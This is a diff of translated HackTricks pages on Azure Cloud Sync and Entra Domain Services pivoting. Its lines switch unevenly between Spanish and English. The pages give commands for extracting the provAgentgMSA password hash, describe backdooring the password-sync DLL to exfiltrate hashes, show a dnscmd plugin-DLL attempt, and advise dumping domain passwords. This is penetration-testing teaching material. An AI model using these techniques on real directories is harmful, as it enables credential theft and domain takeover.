Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

@@ -2,55 +2,57 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Información Básica
 
-**Cloud Sync** es básicamente la nueva forma de Azure para **sincronizar los usuarios de AD en Entra ID**.
+## Información básica
 
-[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos a Microsoft Entra ID. Esto se logra utilizando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, se puede usar junto con Microsoft Entra Connect Sync.
+**Cloud Sync** es básicamente la nueva forma de Azure para **sincronizar los usuarios desde AD hacia Entra ID**.
 
-### Principales Generados
+[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos hacia Microsoft Entra ID. Lo logra usando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, puede usarse junto a Microsoft Entra Connect Sync.
 
-Para que esto funcione, se crean algunos principales tanto en Entra ID como en el directorio local:
+### Principales generados
 
-- En Entra ID se crea el usuario `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) con el rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
+Para que esto funcione se crean algunos principals tanto en Entra ID como en el directorio on-premise:
+
+- In Entra ID the user `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) is created with the role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
 
 > [!WARNING]
-> Este rol solía tener muchos permisos privilegiados y podría usarse para [**escalar privilegios incluso a administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Sin embargo, Microsoft decidió eliminar todos los privilegios de este rol y asignarle solo uno nuevo **`microsoft.directory/onPremisesSynchronization/standard/read`** que realmente no permite realizar ninguna acción privilegiada (como modificar la contraseña o atributos de un usuario o agregar una nueva credencial a un SP).
+> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
 
-- En Entra ID también se crea el grupo **`AAD DC Administrators`** sin miembros ni propietarios. Este grupo es útil si se utilizan [`Microsoft Entra Domain Services`](./az-domain-services.md).
+- In Entra ID also the group **`AAD DC Administrators`** is created without members or owners. This group is useful if [`Microsoft Entra Domain Services`](./az-domain-services.md) is used.
 
-- En el AD, se crea la Cuenta de Servicio **`provAgentgMSA`** con un SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), o una personalizada con [**estos permisos son necesarios**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Generalmente se crea la predeterminada.
+- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
 
 > [!WARNING]
-> Entre otros permisos, la Cuenta de Servicio **`provAgentgMSA`** tiene permisos DCSync, lo que permite **que cualquiera que la comprometa comprometa todo el directorio**. Para más información sobre [DCSync consulta esto](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
 
 > [!NOTE]
-> Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo **`adminCount` a 1 no son sincronizados** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
+> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
 
-## Sincronización de Contraseñas
+## Sincronización de contraseñas
 
-La sección es muy similar a la de:
+The section is very similar to the one from:
 
 {{#ref}}
 az-connect-sync.md
 {{#endref}}
 
-- **La sincronización de hash de contraseñas** se puede habilitar para que los usuarios puedan **iniciar sesión en Entra ID usando sus contraseñas de AD**. Además, cada vez que se modifica una contraseña en AD, se actualizará en Entra ID.
-- **La escritura de contraseñas** también se puede habilitar, permitiendo a los usuarios modificar su contraseña en Entra ID sincronizando automáticamente su contraseña en el dominio local. Pero según la [documentación actual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para esto es necesario usar el Agente Connect, así que echa un vistazo a la [sección Az Connect Sync](./az-connect-sync.md) para más información.
-- **La escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario es agregado a un grupo en Entra ID, también será agregado al grupo correspondiente en AD.
+- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
+- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information.
+- **Groups writeback**: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.
+
 
 ## Pivoting
 
 ### AD --> Entra ID
 
-- Si los usuarios de AD están siendo sincronizados de AD a Entra ID, el pivoting de AD a Entra ID es directo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
+- If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins).
 
-Así que podrías, por ejemplo:
-- Comprometer la cuenta **`provAgentgMSA`**, realizar un ataque DCSync, descifrar la contraseña de algún usuario y luego usarla para iniciar sesión en Entra ID.
-- Simplemente crear un nuevo usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarlo para iniciar sesión en Entra ID.
-- Modificar la contraseña de algún usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarla para iniciar sesión en Entra ID.
+So you could for example
+- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
+- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
+- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
 
-Para comprometer las credenciales de **`provAgentgMSA`**:
+To compromise the **`provAgentgMSA`** credentials:
 ```powershell
 # Enumerate provAgentgMSA account
 Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,22 +74,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
 $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
 ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
 ```
-Ahora podrías usar el hash del gMSA para realizar un ataque Pass-the-Hash contra Entra ID utilizando la cuenta `provAgentgMSA` y mantener persistencia, pudiendo realizar ataques DCSync contra el AD.
+Ahora podrías usar el hash del gMSA para realizar un ataque Pass-the-Hash contra Entra ID usando la cuenta `provAgentgMSA` y mantener persistencia, pudiendo realizar ataques DCSync contra el AD.
 
-Para más información sobre cómo comprometer un Active Directory, consulta:
+For more information about how to compromise an Active Directory check:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
 {{#endref}}
 
 > [!NOTE]
-> Ten en cuenta que no hay forma de otorgar roles de Azure o EntraID a usuarios sincronizados basados en sus atributos, por ejemplo, en las configuraciones de Cloud Sync. Sin embargo, para otorgar automáticamente permisos a usuarios sincronizados, algunos **grupos de Entra ID de AD** podrían recibir permisos, de modo que los usuarios sincronizados dentro de esos grupos también los reciban, o **se podrían usar grupos dinámicos**, así que siempre verifica las reglas dinámicas y las posibles formas de abusar de ellas:
+> Ten en cuenta que no existe ninguna forma de asignar Azure or EntraID roles a usuarios sincronizados basándose en sus atributos, por ejemplo en las configuraciones de Cloud Sync. Sin embargo, para otorgar permisos automáticamente a usuarios sincronizados, algunos **Entra ID groups from AD** podrían recibir permisos para que los usuarios sincronizados dentro de esos grupos también los obtengan, o podrían usarse **dynamic groups**, así que revisa siempre las reglas dinámicas y posibles formas de abusarlas:
 
 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 {{#endref}}
 
-Con respecto a la persistencia, [esta publicación de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugiere que es posible usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para crear una puerta trasera en el dll **`Microsoft.Online.Passwordsynchronisation.dll`** ubicado en **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que es utilizado por el agente de Cloud Sync para realizar la sincronización de contraseñas, haciendo que exfiltre los hashes de contraseñas de los usuarios que están siendo sincronizados a un servidor remoto. Los hashes se generan dentro de la clase **`PasswordHashGenerator`** y la publicación del blog sugiere agregar algo de código para que la clase se vea así (nota el `use System.Net` y el uso de `WebClient` para exfiltrar los hashes de contraseñas):
+Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
 ```csharp
 using System;
 using System.Net;
@@ -121,20 +123,17 @@ RawHash = passwordHashData.RawHash
 }
 }
 ```
-NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
-C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
-. Please see Error List window for detailed warnings and errors.
-
 ### Entra ID --> AD
 
-- Si **Password Writeback** está habilitado, podrías modificar la contraseña de algunos usuarios de Entra ID y si tienes acceso a la red de AD, conectarte usando ellos. Para más información, consulta la sección [Az Connect Sync](./az-connect-sync.md) ya que la escritura de contraseñas se configura utilizando ese agente.
+- Si **Password Writeback** está habilitado, podrías modificar la contraseña de algunos usuarios desde Entra ID y, si tienes acceso a la red AD, conectarte con ellas. Para más información revisa la [Az Connect Sync section](./az-connect-sync.md) ya que el password writeback se configura usando ese agente.
 
-- En este momento, Cloud Sync también permite **"Microsoft Entra ID to AD"**, pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio que el dominio al que nos estamos sincronizando, como puedes leer en [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+- En este momento Cloud Sync también permite **"Microsoft Entra ID to AD"**, pero con el tiempo comprobé que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y que provienen de un dominio que pertenece al mismo bosque de dominios que el dominio al que estamos sincronizando, como puedes leer en https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
 
-> - Estos grupos solo pueden contener usuarios sincronizados locales y / o grupos de seguridad adicionales creados en la nube.
-> - Las cuentas de usuario locales que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.
+> - Estos grupos solo pueden contener usuarios sincronizados locales y/o grupos de seguridad adicionales creados en la nube.
+> - Las cuentas de usuario locales que están sincronizadas y son miembros de este grupo de seguridad creado en la nube pueden ser del mismo dominio o de dominios cruzados, pero todas deben pertenecer al mismo bosque.
+
+Entonces la superficie de ataque (y la utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde el cual se están sincronizando los usuarios para poder comprometer a un usuario en el otro dominio (y ambos deben estar aparentemente en el mismo bosque).
 
-Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar aparentemente en el mismo bosque).
 
 ### Enumeration
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md

@@ -2,27 +2,27 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Servicios de dominio
+## Domain Services
 
-Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar Domain Controllers (de hecho ni siquiera tienes acceso a ellos).
+Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar los Domain Controllers (de hecho ni siquiera tienes acceso a ellos).
 
-Su objetivo principal es permitir ejecutar aplicaciones heredadas en la nube que no pueden usar métodos de autenticación modernos, o cuando no quieres que las búsquedas de directorio siempre vuelvan a un entorno on-premises AD DS.
+Su objetivo principal es permitir ejecutar aplicaciones legacy en la nube que no pueden usar métodos de autenticación modernos, o donde no quieres que las consultas al directorio siempre tengan que volver a un entorno on-premises AD DS.
 
-Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros Active Directory) al servicio de dominio AD necesitas **cambiar la contraseña del usuario** por una nueva para que pueda sincronizarse con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a Domain Services hasta que se cambia la contraseña.
+Ten en cuenta que, para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros directorios activos) con el servicio de dominio AD necesitas **cambiar la contraseña del usuario** por una nueva para que pueda sincronizarse con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a Domain Services hasta que se cambia la contraseña.
 
 > [!WARNING]
-> Incluso si estás creando un nuevo dominio Active Directory no podrás gestionarlo completamente (a menos que explotes algunas misconfiguraciones), lo que significa que por defecto, por ejemplo, no puedes crear usuarios directamente en el AD. Los creas **sincronizando usuarios desde Entra ID.** Puedes indicar sincronizar todos los usuarios (incluso los sincronizados desde otros AD on-premise), solo usuarios en la nube (usuarios creados en Entra ID), o incluso **filtrarlos más**.
+> Incluso si estás creando un nuevo dominio de Active Directory no podrás gestionarlo completamente (a menos que explotes alguna mala configuración), lo que significa que por defecto, por ejemplo, no puedes crear usuarios directamente en el AD. Los creas **sincronizando usuarios desde Entra ID.** Puedes indicar sincronizar todos los usuarios (incluso los sincronizados desde otros ADs on-premise), solo usuarios cloud (usuarios creados en Entra ID), o incluso **filtrarlos más**.
 
 > [!NOTE]
 > En general, debido a la falta de flexibilidad en la configuración del nuevo dominio y al hecho de que los ADs suelen estar ya on-premise, esta no es la principal integración entre Entra ID y AD, pero sigue siendo interesante saber cómo comprometerlo.
 
 ### Pivoting
 
-Los miembros del grupo generado **`AAD DC Administrators`** reciben permisos de administrador local en las VMs que están unidas al dominio gestionado (pero no en los domain controllers) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Remote Desktop para conectarse remotamente a VMs unidas al dominio**, y además son miembros de los grupos:
+Los miembros del grupo generado **`AAD DC Administrators`** obtienen permisos de administrador local en VMs que están unidas al dominio gestionado (pero no en los domain controllers) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Remote Desktop to connect remotely to domain-joined VMs**, y además son miembros de los grupos:
 
-- **`Denied RODC Password Replication Group`**: Este es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden ser almacenadas en caché en RODCs (Read-Only Domain Controllers).
-- **`Group Policy Creators Owners`**: Este grupo permite a sus miembros crear Group Policies en el dominio. Sin embargo, sus miembros no pueden aplicar políticas de grupo a usuarios o grupos ni editar GPOs existentes, por lo que no es tan interesante en este entorno.
-- **`DnsAdmins`**: Este grupo permite gestionar la configuración DNS y fue abusado en el pasado para [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), sin embargo después de probar el ataque en este entorno se comprobó que la vulnerabilidad está parcheada:
+- **`Denied RODC Password Replication Group`**: Es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden almacenarse en caché en RODCs (Read-Only Domain Controllers).
+- **`Group Policy Creators Owners`**: Este grupo permite a sus miembros crear Group Policies en el dominio. Sin embargo, sus miembros no pueden aplicar GPOs a usuarios o grupos ni editar GPOs existentes, así que no es tan interesante en este entorno.
+- **`DnsAdmins`**: Este grupo permite gestionar la configuración de DNS y fue abusado en el pasado para [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), sin embargo tras probar el ataque en este entorno se comprobó que la vulnerabilidad está parcheada:
 ```text
 dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
 
@@ -30,16 +30,16 @@ DNS Server failed to reset registry property.
 Status = 5 (0x00000005)
 Command failed:  ERROR_ACCESS_DENIED     5    0x5
 ```
-Nota que para conceder estos permisos, dentro del AD el grupo **`AAD DC Administrators`** se hace miembro de los grupos anteriores, y además la GPO **`AADDC Computers GPO`** está añadiendo como Local Administrators a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
+Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
 
-Pivotar desde Entra ID hacia un AD creado con Domain Services es sencillo: basta con añadir un usuario al grupo **`AAD DC Administrators`**, acceder por RDP a cualquiera/todas las máquinas del dominio y podrás robar datos y además **comprometer el dominio.**
+Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
 
-Sin embargo, pivotar desde el dominio hacia Entra ID no es tan fácil, ya que nada del dominio se sincroniza con Entra ID. No obstante, siempre verifica los metadatos de todas las VMs unidas, ya que sus managed identities asignadas podrían tener permisos interesantes. Además **dump all the users passwords from the domain** y trata de crackearlas para luego iniciar sesión en Entra ID / Azure.
+However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
 
 > [!NOTE]
 > Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
 
-### Enumeración
+### Enumeration
 ```bash
 # Get configured domain services domains (you can add more subs to check in more subscriptions)
 az rest --method post \